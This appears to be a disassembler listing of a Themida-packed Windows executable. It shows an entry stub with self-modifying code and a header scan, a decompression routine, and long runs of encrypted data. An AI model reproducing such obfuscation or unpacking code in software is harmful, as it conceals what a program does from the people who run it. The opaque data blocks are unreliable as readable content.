		dd 0DF050h, 0DF000h, 3 dup(0)
		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E0000h
		dd 4B45946Bh, 4B783h, 54098h, 95172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053C0A4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053F46D SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0053F6E3 SIZE 00000055 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E0086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E0041
		popa
		jmp	short loc_4E0076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------

loc_4E0041:				; CODE XREF: start+18j
		call	$+5
		pop	eax

loc_4E0047:				; DATA XREF: ___:00437A3Co
		and	eax, 0FFFFF000h
		xor	edi, edi

loc_4E004E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E006D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E0074

loc_4E006D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E004E
; ---------------------------------------------------------------------------

loc_4E0074:				; CODE XREF: start+57j
		mov	edi, eax

loc_4E0076:				; CODE XREF: start+1Bj
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		db 3
		dd 26AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------

loc_4E0086:				; CODE XREF: start+8j
		mov	eax, offset loc_53C0A4
		mov	ecx, offset word_4E026A
		push	eax
		push	ecx
		call	sub_4E011B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E0265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E011B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h

loc_4E0127:				; CODE XREF: sub_4E011B:loc_4E013Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2

loc_4E0132:				; CODE XREF: sub_4E011B+7Aj
					; sub_4E011B+C3j ...
		add	dl, dl
		jnz	short loc_4E013B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E013B:				; CODE XREF: sub_4E011B+19j
		jnb	short loc_4E0127
		add	dl, dl
		jnz	short loc_4E0146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0146:				; CODE XREF: sub_4E011B+24j
		jnb	short loc_4E0197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E0153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0153:				; CODE XREF: sub_4E011B+31j
		jnb	loc_4E0238
		add	dl, dl
		jnz	short loc_4E0162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0162:				; CODE XREF: sub_4E011B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E016D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E016D:				; CODE XREF: sub_4E011B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0178:				; CODE XREF: sub_4E011B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0183:				; CODE XREF: sub_4E011B+61j
		adc	eax, eax
		jz	short loc_4E018D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi

loc_4E018D:				; CODE XREF: sub_4E011B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0197:				; CODE XREF: sub_4E011B:loc_4E0146j
		mov	eax, 1

loc_4E019C:				; CODE XREF: sub_4E011B:loc_4E01B0j
		add	dl, dl
		jnz	short loc_4E01A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01A5:				; CODE XREF: sub_4E011B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E01B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01B0:				; CODE XREF: sub_4E011B+8Ej
		jb	short loc_4E019C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E01E3
		mov	ecx, 1

loc_4E01C0:				; CODE XREF: sub_4E011B:loc_4E01D4j
		add	dl, dl
		jnz	short loc_4E01C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01C9:				; CODE XREF: sub_4E011B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E01D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01D4:				; CODE XREF: sub_4E011B+B2j
		jb	short loc_4E01C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E01E3:				; CODE XREF: sub_4E011B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1

loc_4E01F1:				; CODE XREF: sub_4E011B:loc_4E0205j
		add	dl, dl
		jnz	short loc_4E01FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01FA:				; CODE XREF: sub_4E011B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0205:				; CODE XREF: sub_4E011B+E3j
		jb	short loc_4E01F1
		cmp	eax, 7D00h
		jnb	short loc_4E0228
		cmp	eax, 500h
		jb	short loc_4E0223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0223:				; CODE XREF: sub_4E011B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E022B

loc_4E0228:				; CODE XREF: sub_4E011B+F1j
		add	ecx, 2

loc_4E022B:				; CODE XREF: sub_4E011B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0238:				; CODE XREF: sub_4E011B:loc_4E0153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E0259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0259:				; CODE XREF: sub_4E011B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E011B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_4E0265:				; CODE XREF: start:loc_4E0076j
					; start+9Dj
		jmp	loc_53C0A4
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E026A	dw 38E9h		; DATA XREF: start+77o
		dd 15333C4h, 1101CEBFh,	9222AEAEh, 0C8BB1BE1h, 0FF46B821h
		dd 0F3B83BD7h, 85037024h, 3645DE7Dh, 0AF7F37C2h, 0E6D53417h
		dd 1EE10335h, 354BCFEh,	696D6568h, 6A846164h, 0E17122EAh
		dd 9822BF1Bh, 0C8BF1EE1h, 0FC46B811h, 46B88733h, 3007AFEBh
		dd 8312D34h, 22477E5Fh,	0D0D78F70h, 1EE103C6h, 0E101E8AFh
		dd 52B8BB0Bh, 74736507h, 41337261h, 0D32E8B70h,	58A7E478h
		dd 0B844D1AAh, 10C5728Bh, 80E860D4h, 0D3ED815Dh, 60B0333h
		dd 102D9589h, 91B50D08h, 7D858428h, 0BD830721h,	0E70506Fh
		dd 0E88B0C74h, 0FB8E245h, 7078C24Dh, 91E32444h,	6A06A53Eh
		dd 29A3E845h, 749A6807h, 0DFA50783h, 4B250A01h,	0D5E90A89h
		dd 214E910h, 405F4C91h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	dword ptr [ebx], 0FFFFFFC4h
		fsubr	st, st(6)
		add	[edx-7Fh], ebx
		jmp	far ptr	0C7DAh:8B0034C1h
; ---------------------------------------------------------------------------
		dw 4524h
		dd 0E6C08D8h, 8896340h,	80F37D81h, 0F741D19h, 83FC0820h
		dd 0FF45CC2Bh, 0EB314312h, 61DC36E1h, 0C90A26BAh, 34604C2h
		dd 0FF7CC481h, 10490247h, 8D00350Ah, 5D8B8045h,	8551C708h
		dd 8D501219h, 0C3D10A80h, 412A1888h, 81280B89h,	5D8006BDh
		dd 27A5E375h, 64BA8D0Ah, 8075013Bh, 0F4BB0E8Ah,	3B85B24h
		dd 785437ABh, 0FF3D0D3h, 754B080Eh, 0C3AFC1F7h,	4A494647h
		dd 0A8F94618h, 0AE61D142h, 0F0D0818Ah, 28EEF6D7h, 284DFC45h
		dd 0F2AD04EBh, 3E803146h, 4DBAF740h, 8634B984h,	7FEB0C7Dh
		dd 32F8433Eh, 13F0126Dh, 10F40E2Ah, 65C14A05h, 0D60004F0h
		dd 3E0D1F8h, 2880E5C2h,	1C8ADB33h, 0FB738030h, 0A0A7230h
		dd 0F4057739h, 22C9FBEBh, 192914A6h, 0FD660A0Dh, 7D1EBD08h
		dd 0B00AC33Ah, 72411A10h, 460AC30Bh, 247A0677h,	615D0188h
		dd 83F4ECF0h, 7202CC7Dh, 0C00CB06Ch, 99A5DD76h,	7F826AAh
		dd 0A88D1D38h, 553B02A8h, 78820FFCh, 6B0BDA7h, 43F938AAh
		dd 0B98308BAh, 0FCA17082h, 3650BDh, 7470FFEh, 0B9FA7549h
		dd 736A1722h, 0D18F01BBh, 0BCEB82F1h, 8E01760Ch, 0C384486h
		dd 9D605107h, 0FB1DDF36h, 7268A94h, 305E928h, 10DB8C59h
		dd 133C0589h, 5CD98351h, 0D06BC32Ch, 0C304E956h, 0C45E211Dh
		dd 256D8A90h, 45820519h, 21801808h, 33C45646h, 210DC2EDh
		dd 76F1F481h, 67D831CFh, 0D4D9C06Dh, 14C034CBh,	5B4E3982h
		dd 70F7E76h, 43D51B8h, 663BC7D1h, 751D5846h, 11582E09h
		dd 0AEC480Eh, 69065E4h,	0C5840064h, 57968E05h, 1E5381A9h
		dd 29C20415h, 0CE718C19h, 0AC0EB7E7h, 182BFF66h, 22047781h
		dd 0C103341Dh, 7533F984h, 3FBC2020h, 0EFEC0AEEh, 670230CEh
		dd 8C13EC41h, 0FFCC3F7Fh, 459F4021h, 0A060E9D4h, 152C462h
		dd 11254D8Ch, 9B1AA82h,	845AAB9Ah, 4C561311h, 82155EE7h
		dd 508162EEh, 8A892008h, 1344B9F5h, 4397230Ah, 0FE8B50h
		dd 0BCDA8D67h, 16A87444h, 94E2813Eh, 0ED23CB4h,	0A6CA0BDFh
		dd 0A13B6386h, 59185115h, 8A23C472h, 1E1145h, 0DBC45141h
		dd 0FD71ADEh, 0FD2ECCF8h, 8A109762h, 0D4812380h, 8619C813h
		dd 2C80C1Ah, 30573852h,	8AE4C45Fh, 1C227546h, 0C4574701h
		dd 0F46B83C3h, 181D4BD8h, 210FEA4Ah, 34A425B4h,	0A6C317F7h
		dd 6402E38Ah, 61587819h, 8AC8C460h, 0C089917Dh,	0E0C45848h
		dd 0BF4DA007h, 5C16B451h, 14562052h, 2D0EE930h,	94BBBCh
		dd 0DF9C59DEh, 5F857A96h, 10B1FB0Ah, 0A028398Bh, 0F906DA7Ch
		dd 7698C782h, 56B90316h, 2C1CC6BDh, 458E1081h, 0CBBB0E18h
		dd 803F1544h, 0C753CA59h, 3203C3E8h, 8B7FB830h,	731001FBh
		dd 10431F5Fh, 0CF1F4887h, 3E0C3398h, 4451B273h,	613B76F2h
		dd 90E01E53h, 0B95C8005h, 6151219Ah, 0F2290FAh,	0F0845A62h
		dd 0FDD907F7h, 8C150382h, 0B683A286h, 0DA186579h, 0E00F2DEAh
		dd 52830014h, 0F74E274Ch, 0D7F0B7FFh, 8CDFEB39h, 97383E1Fh
		dd 0FDE8B7EAh, 103F621h, 77986F22h, 0D2CB98D3h,	0CF710Eh
		dd 30B3D4Ah, 90E3CE84h,	0E6609B74h, 0C5C6E508h,	14851C2Bh
		dd 0F47F4D25h, 671FC18h, 0E2F0AB18h, 3E3DDE10h,	0DC20538Ah
		dd 1A2F4503h, 0F8EEF350h, 0EC40A1h, 6847664Fh, 0C60DBFE5h
		dd 0DC609E60h, 0A44941h, 48437824h, 8456ED31h, 85FB3Dh
		dd 0A696C66Bh, 0F6E23CEBh, 0C2F38BF6h, 0D868EC98h, 6BB18D00h
		dd 4A3BD5A1h, 6FC1009Dh, 78745E40h, 40C56A4h, 0D1EACEFCh
		dd 52EC0042h, 0DE0C0337h, 5303A672h, 4F9106E1h,	909000D7h
		dd 0B550E997h, 4303DEBFh, 0B27B243Eh, 0DF881F9Fh, 3D0900D4h
		dd 0FDFF301Ah, 0AC70E0C0h, 0A0CF2BF2h, 1A7B634h, 0FDC0FFDFh
		dd 0C4507CDCh, 0B300CD40h, 2F35FBE1h, 14F4F6E4h, 9C2AA00Dh
		dd 48B83F8Fh, 9D4169F5h, 68299FF0h, 8BC21ECh, 1B00A83Eh
		dd 1C3D5DDBh, 0F57B3150h, 0C7AA7A89h, 9EF12009h, 847C0329h
		dd 5E4105EEh, 83605D67h, 0C09C8E10h, 8324A9D9h,	0E0BF5A30h
		dd 6030C21Ch, 626ED92Fh, 50DCD493h, 49ED848Ch, 7FDE00ECh
		dd 4C32CDC3h, 19C1F483h, 1E7BE6FCh, 95E9C8h, 4CC69F03h
		dd 7ABD51F0h, 0D4B0A255h, 1E00E3A4h, 0E9328D54h, 30EC3DFCh
		dd 2421A11Ch, 0A060EA73h, 13016790h, 4E921A6Fh,	880488A1h
		dd 0E8CE45F6h, 0C2D2B840h, 700F9Eh, 31751CDEh, 0A369173Ch
		dd 0E793AD03h, 77B55671h, 5B0F5C40h, 43581A00h,	72A19C05h
		dd 0BFBE9A18h, 88EC2061h, 7A306A6Eh, 9C3D18B0h,	93BEF29Ah
		dd 18EC0604h, 0AA18B9A7h, 6591E372h, 0FDB4001Eh, 0F4696E7h
		dd 0CB61827Ah, 1B581D48h, 0F4B081D2h, 0F4489961h, 45E84420h
		dd 0AA183E71h, 0D551DE68h, 9DF3194h, 56EB50B8h,	0CE20A0F8h
		dd 0AA203B9Dh, 0C531EEB2h, 96702044h, 42415400h, 8CD2A30Dh
		dd 0FF90A19h, 40DC84E1h, 14023192h, 4383BE00h, 0E5B97B2Eh
		dd 0ED2513C1h, 29511820h, 7300F886h, 0B827898Ah, 3DE9AF5Ah
		dd 9A09943Bh, 1423C31Ah, 0C111DF90h, 3C00E76Eh,	0A9E0864Ah
		dd 711201F0h, 5020F2A5h, 928E72C4h, 0F18700F4h,	0E7250C5Ah
		dd 6531F4ECh, 50B9C997h, 0F889F2E9h, 0C0023B46h, 0E402DF7Bh
		dd 0A54446Ah, 15E85813h, 51E50FECh, 12A62E1h, 90498EADh
		dd 0CE6DA628h, 77DB0570h, 0E092F1h, 1C740DE8h, 6230707Ah
		dd 5B14D1D6h, 0CAE11D5Ah, 0E82900A2h, 68BA5CDh,	8449807h
		dd 10F7ED8Ch, 0AE70E4E0h, 195B00C4h, 0A6CD3DB8h, 253A5E67h
		dd 510075D0h, 866242EEh, 3C69AE4Ch, 0C600EF0Eh,	124335DCh
		dd 313E2F8Eh, 0C85B808Fh, 0B01963C4h, 0BB101DE0h, 0B792C0D4h
		dd 0A65C5368h, 26F6ED00h, 6BCC37A7h, 0EEEC005Ah, 8FE1AC1Eh
		dd 3092CF20h, 904CCE03h, 993BE59Ah, 0C44BB30h, 1CC0DC97h
		dd 50926AEBh, 41A7A8C2h, 7A8001E9h, 289900A0h, 38F6699Fh
		dd 202AA419h, 0CA058827h, 0C5B5B11Fh, 0AB8F3B80h, 0E7479862h
		dd 0F8404022h, 0DE781FA5h, 0C3AE4A26h, 943D02BCh, 0C0496F20h
		dd 50A830E1h, 6A88777Dh, 64B14D0Ah, 66DBC601h, 20F2EC26h
		dd 6F0831A8h, 0EC88272h, 9E6048F6h, 62169D71h, 0F4B28A24h
		dd 1132086h, 73DD0960h,	20A57Ah, 3234241Ah, 5E978001h
		dd 8AC3A49Ch, 1E826C5h,	44BC90B5h, 461A65E3h, 0A578FB14h
		dd 448CB558h, 303F07E6h, 70488F3Bh, 9EE01B82h, 78613900h
		dd 216F5F64h, 0F4B73BB5h, 198364C8h, 842338h, 243DD27Bh
		dd 0B12628A3h, 5A0E008Ch, 0A09EE493h, 69C1F123h, 0A4266845h
		dd 1B8800C3h, 6BF2BAB0h, 132CECB6h, 0AA86205Ch,	30B9F570h
		dd 0E471A4C5h, 210FCF43h, 0D20B48h, 0CC3B0FEDh,	0B08C3DD6h
		dd 9A0C4EBCh, 78F861ADh, 93C9140h, 0F347281Ch, 48D54A9h
		dd 0F37EE951h, 60673111h, 0AA2E651Fh, 1299C4D0h, 18FB4910h
		dd 7791Ch, 0E1DB6E93h, 1CC4A5ACh, 8F6CEF04h, 0BCC821A0h
		dd 59676FF4h, 0E1FBF100h, 4004666h, 0FC96E817h,	30A0A6E3h
		dd 9A306124h, 552C60E2h, 0A36008BBh, 72BB4FEh, 0A0681BEBh
		dd 0AD10F292h, 9997C886h, 1C3A5CB2h, 862CCC58h,	0C799295h
		dd 0E8FB3891h, 6A007218h, 0E2F10E96h, 0ED072819h, 6E42C20h
		dd 0CB20C2BEh, 0AB4C28DEh, 11C8D01Ch, 0EB08E469h, 33E9C11h
		dd 53D54794h, 4DD1E7A3h, 0D88906CCh, 9890CF31h,	3500E2BFh
		dd 73547604h, 0C142F26h, 955CF4EBh, 4F07F0A1h, 0FB273E7Bh
		dd 0FC6893C0h, 5992786Eh, 231164DAh, 0E5CE18F3h, 1627259h
		dd 0A29E053Ch, 203DBB02h
		dd 6F88E834h, 0C0F258D1h, 13D09E10h, 98048AD4h,	0C506CF57h
		dd 0A51D81A3h, 88406150h, 9AFA3CF5h, 55A90014h,	4EB7212Eh
		dd 6EC0B55Dh, 0DD4119C6h, 80AE5579h, 87DC2EE1h,	20BF00EAh
		dd 0D89B3033h, 3800D6CFh, 0D05FAD34h, 506B90D1h, 48DCFC46h
		dd 83182CEEh, 0C28A9F8h, 60248E00h, 5D02A4AFh, 2B110132h
		dd 0D07CA1B1h, 33E3CE14h, 0EE6F7100h, 15F8C47h,	38050481h
		dd 98EF3E44h, 1E140DF4h, 3FC40420h, 0FC692C5Eh,	7C501B40h
		dd 45F8A01Ch, 8050E9C5h, 3C97E374h, 0A91C4392h,	6ABC80EBh
		dd 45F6868Dh, 267C6702h, 69C442A3h, 98E2F278h, 301DDDACh
		dd 0C6700C84h, 1A5CECA5h, 82A48180h, 0C501BAC2h, 10719C96h
		dd 805F8549h, 7AD6BFFCh, 4B09154h, 0A09E7270h, 0CD0CF1C8h
		dd 3998C60Bh, 3ACF6CCh,	90CF744Fh, 0F822938Fh, 1DEB28E9h
		dd 0A2C4083Ch, 391966Eh, 0F922FC58h, 5307FD07h,	2EC07Bh
		dd 0E146C3E2h, 0EE80002Dh, 0B169DA7Ah, 451CFCA9h, 181825DEh
		dd 176701E0h, 0DC04CDh,	0EB935385h, 1009AE56h, 8FE43D70h
		dd 3B90880h, 0B3651236h, 46E560F0h, 0FB5D6707h,	0A8666A16h
		dd 0AE6E1EE1h, 0A0A49566h, 0E527D000h, 7A6F3361h, 28A58E37h
		dd 0ECDE8249h, 82708917h, 0F971240h, 0FD8C9DDh,	0AEEF28A0h
		dd 934220A0h, 1F18283Ch, 23DAF9E7h, 0F72450B0h,	0F00C040Bh
		dd 8A2D30B7h, 801E5481h, 0B4FC00F9h, 0B06098D6h, 0A4A55360h
		dd 0C01CED22h, 5E1C114Dh, 83043CECh, 14939ED6h,	1A307189h
		dd 50F8B025h, 510E0885h, 4B00F8CCh, 0E8A02C98h,	9D55BE71h
		dd 11DC248Ch, 0E0827D03h, 5005B425h, 0BA9EC4E1h, 0AD792A90h
		dd 99850088h, 257E3CD6h, 10000864h, 66527662h, 28C0506Dh
		dd 49B43DC8h, 0C406C044h, 88947682h, 4A34697Ch,	30A26023h
		dd 0F302253Bh, 0CF9AAB44h, 3662F0C0h, 7878BA62h, 0B12220A3h
		dd 0D401387Ah, 0A425E852h, 94245E72h, 5AA01E34h, 105102AFh
		dd 0DC85DD3Fh, 0F902073h, 0A2179C6Ch, 0E04F991Eh, 5D43A0C5h
		dd 1679273h, 0F1B529D3h, 80AC78FFh, 7E6CB471h, 527286h
		dd 0C406CE47h, 0EEAB8842h, 0A9D28100h, 0F42DCB65h, 59E866h
		dd 4A443E64h, 0D46C4688h, 96DC1C0Eh, 0E64380B9h, 0A3F12C1Dh
		dd 0C6459888h, 83F0A89Fh, 0FD56583Ah, 0A780BA3Bh, 10A39342h
		dd 710A8275h, 0D4ACF27Ah, 0F4EA2A80h, 5867581Bh, 0E041CE3h
		dd 0A83292h, 0A2308611h, 0F4E917F9h, 1B1C205Dh,	648E328h
		dd 0A0660140h, 2B4E60D7h, 686229D5h, 0D1D81A7Ch, 50843042h
		dd 0F9684753h, 0C4FF82E1h, 887E044Eh, 3000B7F9h, 467C8005h
		dd 1F94CE49h, 0DBE7BFC8h, 0C7AA1968h, 81FEB141h, 0A81BC40h
		dd 2FFC389Fh, 597E605Fh, 32F7EA83h, 0C47F21Dh, 0C84800FEh
		dd 0C9E33EFDh, 31C400CEh, 5397FC5h, 2F0FE252h, 4764D4B6h
		dd 0AD8E4E8Eh, 300C103Fh, 84FADFh, 302DCE3h, 0AD8B15A9h
		dd 76BCF00h, 7C7FD3FEh,	7A491B4Ah, 72E3B883h, 4241C810h
		dd 677DE005h, 767C08C9h, 9934341Ch, 0B146840Ch,	0E2541F17h
		dd 378870D4h, 38C0C673h, 0B26165BEh, 0D975160Eh, 30371081h
		dd 0A4B7FD0Ah, 0C1489C94h, 987BC52Fh, 0FD51D16Ch, 2854019Bh
		dd 686E0848h, 50B491FAh, 0A8A87BE1h, 541813C1h,	19919C2Ah
		dd 5D4A3280h, 1BE06279h, 0D8612A4Ch, 4ACC8221h,	22277440h
		dd 18325480h, 6A5918B9h, 0F04C80A7h, 0E14CA8DFh, 7ADA715Ch
		dd 4441C702h, 540F4067h, 3745DA3h, 4200B3F0h, 0E8EA62A9h
		dd 0A1916BC4h, 0C5104584h, 0C26065C0h, 0E8F7EC41h, 0E5DD039Ah
		dd 497CE38Eh, 31F2A7EFh, 0D698AFC5h, 2A01F890h,	5DC94CA0h
		dd 0A07C1A28h, 3265FA19h, 4EC8E451h, 74A976E3h,	6AAD0046h
		dd 7D537F10h, 0BF0D473Ch, 0C10108A3h, 507CBBD0h, 14908B7h
		dd 912FBCFAh, 53A0E7C8h, 101580D0h, 1D8037E1h, 705CD4B8h
		dd 0F44CCC4Ah, 0C1971831h, 284FBAC1h, 0A18C9824h, 85D0E128h
		dd 4A588A61h, 0B8D062h,	30FB452Ch, 3ECBBF31h, 0CAB03538h
		dd 3C8D52F1h, 78BBD10Ah, 0FC7840C2h, 83351B26h,	0A0D039BFh
		dd 52C748C9h, 2C0F03B9h, 24D39180h, 144C97EEh, 0CA8AF436h
		dd 0C815D63Ch, 8D464E8h, 8324C099h, 0B2B77BC4h,	0B1343142h
		dd 15D20173h, 8F47EC80h, 96FCEA0h, 0C6DAC529h, 8606B423h
		dd 0CA493AF0h, 0CFB8A42Ch, 68564820h, 0D986C8BCh, 9C9CC17Ch
		dd 0E992B961h, 0E7C70802h, 7FA8A760h, 0CC2CA189h, 618C754Bh
		dd 0D1A9EBA5h, 62322084h, 0EC5D7F03h, 3CC8434h,	80264B71h
		dd 99885415h, 30E9C6Fh,	524465E4h, 270D015h, 0DA278EB0h
		dd 2DC461FDh, 0DD01819Eh, 1429BECBh, 0BC379420h, 0C3ED6D82h
		dd 45A07840h, 0FD489C90h, 0C5C107A0h, 3033C6BFh, 10085093h
		dd 38CE638Fh, 4A90D58Eh, 6C00E9E8h, 19BA03DCh, 3A39CF6h
		dd 0F845CC4Ch, 46F0D0CBh, 1100360Bh, 15871BE3h,	0F5D18h
		dd 478EFA4Bh, 1470A01Fh, 6F8BD202h, 0E0AD8C25h,	48585h
		dd 535CB197h, 0E40C2A0Dh, 401D0732h, 746343h, 419FF941h
		dd 6F82CC11h, 0CF907B00h, 3950DE28h, 7FD8E3D0h,	0C2600E6h
		dd 148754F3h, 197655D6h, 568ECB00h, 1142ECFBh, 6D812CFEh
		dd 0D5044888h, 4BF8A87Eh, 58EE091Eh, 0D800CC07h, 40D9C326h
		dd 0C048DE00h, 7C2BC790h, 16290038h, 421D45E4h,	18036A17h
		dd 5AB93685h, 1540001Fh, 80167504h, 283AA655h, 0BE390EE1h
		dd 0D7B609Dh, 7F9D12Eh,	190C2DE0h, 284905Eh, 1F0E538Fh
		dd 0F0E25AF4h, 0A1552A00h, 3A85034Bh, 5FC9B400h, 0DB82E650h
		dd 61463818h, 0D59EB01h, 0D4B8F855h, 5B0117ADh,	1F75D10Eh
		dd 0D029624h, 22673861h, 80A5EB94h, 1846DE1Fh, 6C8B0200h
		dd 28A75525h, 3A840003h, 7F39C5B1h, 160026F6h, 0B5B1C15h
		dd 0E25CE9h, 4FB9CCC0h,	0DC59E71Fh, 2D7E3E00h, 4ED98BF6h
		dd 0BF8700DEh, 4638D3A7h, 0B400ED05h, 45994BFCh, 7DB7015h
		dd 4FBA368Ch, 1740E021h, 1B007E3Fh, 28AE8EF6h, 0BD8809h
		dd 795DD1CBh, 1519E3F9h, 0E1D601Dh, 80127040h, 785BACCh
		dd 116CECF4h, 81AC6F3Fh, 9163A40h, 8C6AC5C2h, 0B5D000BFh
		dd 469FE851h, 8BD10014h, 0D7C1261Ah, 3AE8CD3Dh,	63CED510h
		dd 160D3300h, 0E141875Fh, 811E58h, 0E8448ECBh, 9B59EAh
		dd 372DB6C9h, 0D25A7C5h, 0C4F85C00h, 0F44D2C06h, 1E18F2E3h
		dd 0C045976Dh, 3A550FE1h, 240185C0h, 0FFDE41EEh, 0E0EB2A88h
		dd 0FCC329Dh, 0CDDB3948h, 0E3E77620h, 1B12F10Fh, 0FC1C0E5Eh
		dd 8CFA8480h, 0E81986h,	0AF3F1058h, 0E4908216h,	8503483Ah
		dd 3606B53Bh, 2030AC82h, 69170D84h, 8998AEEh, 0F47F04A3h
		dd 0B5111400h, 0BB08EA4Eh, 34EF00F5h, 0C4F354D1h, 34A58196h
		dd 49A150h, 0F18718E6h,	4ED2E5F2h, 0A9A4F002h, 0B8E9E261h
		dd 60FAD31Ch, 9C7F10A6h, 0E87CC5BFh, 14D9B528h,	27FEDF00h
		dd 831445E3h, 0CB09E27Eh, 0EC20D708h, 0B928363Eh, 2F308B01h
		dd 764CCBAAh, 40F45D13h, 6B704373h, 156C00B0h, 0D32F492Ah
		dd 0BE05B8DCh, 0AD8B124Eh, 33AE4E0h, 5396221h, 80B8D1C5h
		dd 93003622h, 4E66BFC8h, 0CAB835D0h, 0B641D38h,	69839FF9h
		dd 0BC887C7Ah, 7F53E9D0h, 30CE201Ch, 4AD9FE09h,	1100DA41h
		dd 716BBFCAh, 605DFD18h, 0A48EB12Eh, 0C13C2208h, 0C5A70062h
		dd 0A3F5BD5Ch, 0E8FCCAh, 60B4DF11h, 7D47CC22h, 0B78189DCh
		dd 7C7FCAADh, 0C4054F1h, 0E909A69Dh, 27E01E03h,	416059B9h
		dd 432A4CE9h, 84C0BEADh
		dd 7B6949h, 452968E5h, 841B5075h, 353A448Ah, 8060832Ah
		dd 0E77AF278h, 0A48008BCh, 4E19C0C9h, 35D17DBh,	20C0C446h
		dd 0C0B209FCh, 15D3E500h, 0CB786BF5h, 90674A2Dh, 20A462F8h
